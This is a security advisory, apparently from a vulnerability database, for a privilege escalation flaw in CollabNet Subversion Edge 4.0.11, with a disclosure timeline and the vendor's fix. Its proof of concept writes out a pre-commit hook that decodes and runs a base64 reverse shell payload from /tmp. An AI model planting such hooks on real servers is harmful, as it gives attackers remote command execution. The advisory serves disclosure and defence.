CollabNet Subversion Edge Hook Script Privilege Escalation

2015-07-05T00:00:00
ID SECURITYVULNS:DOC:32291
Type securityvulns
Reporter Securityvulns
Modified 2015-07-05T00:00:00

Description

Vuln Title: The CollabNet Subversion Edge Management Frontend SVN hook scripts

privilege escalation

Date: 28.06.2015

Author: otr

Software Link: https://www.open.collab.net/downloads/svnedge

Vendor: CollabNet

Version: 4.0.11

Tested on: Fedora Linux

Type: Privilege escalation design flaw

CVE : Requested

Risk: High

CVSS Vector: AV:N/Ac:L/Au:S/C:C/I:C/A:C/E:POC/RL:W/RC:UC

CVSS Base Score: 9.0

CVSS Temporal Score: 7.0

Status: pubic/fixed

Fixed version: 5.0

2014-10-09 Flaw Discovered 2014-10-20 Vendor contacted 2014-10-21 Vendor response 2014-12-08 Vendor fix proposal 2014-12-08 Extension of embargo to 19.4.2015 2015-05-04 Extension of embargo until release of version 5.0 2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated administrators to escalate their privileges by creating and executing hook scripts. As a result they are able to execute arbitrary commands as the user the Management Frontend is running under without authenticating with valid credentials.

POC:

  1. Add a pre commit hook with the following content: #!/bin/sh echo "$base64_encoded_reverseshell" | /usr/bin/base64 -d > /tmp/evil /bin/chmod +x /tmp/evil /tmp/evil exit 0

  2. Edit a file of a SVN repository

  3. Do: svn commit
  4. Get a reverse shell running as the service user of Subversion Edge

Fix proposal:

Provide a configuration option inaccessible from the Web Gui that disables this feature.

Addtionally implement an authentication prompt that requires the administrator to authenticate as the user running (which is typically a service user) the management frontend web app for performing actions on hook scripts.

Vendor fix:

The hook script editor is now disabled by default. It is enabled via the security.properties file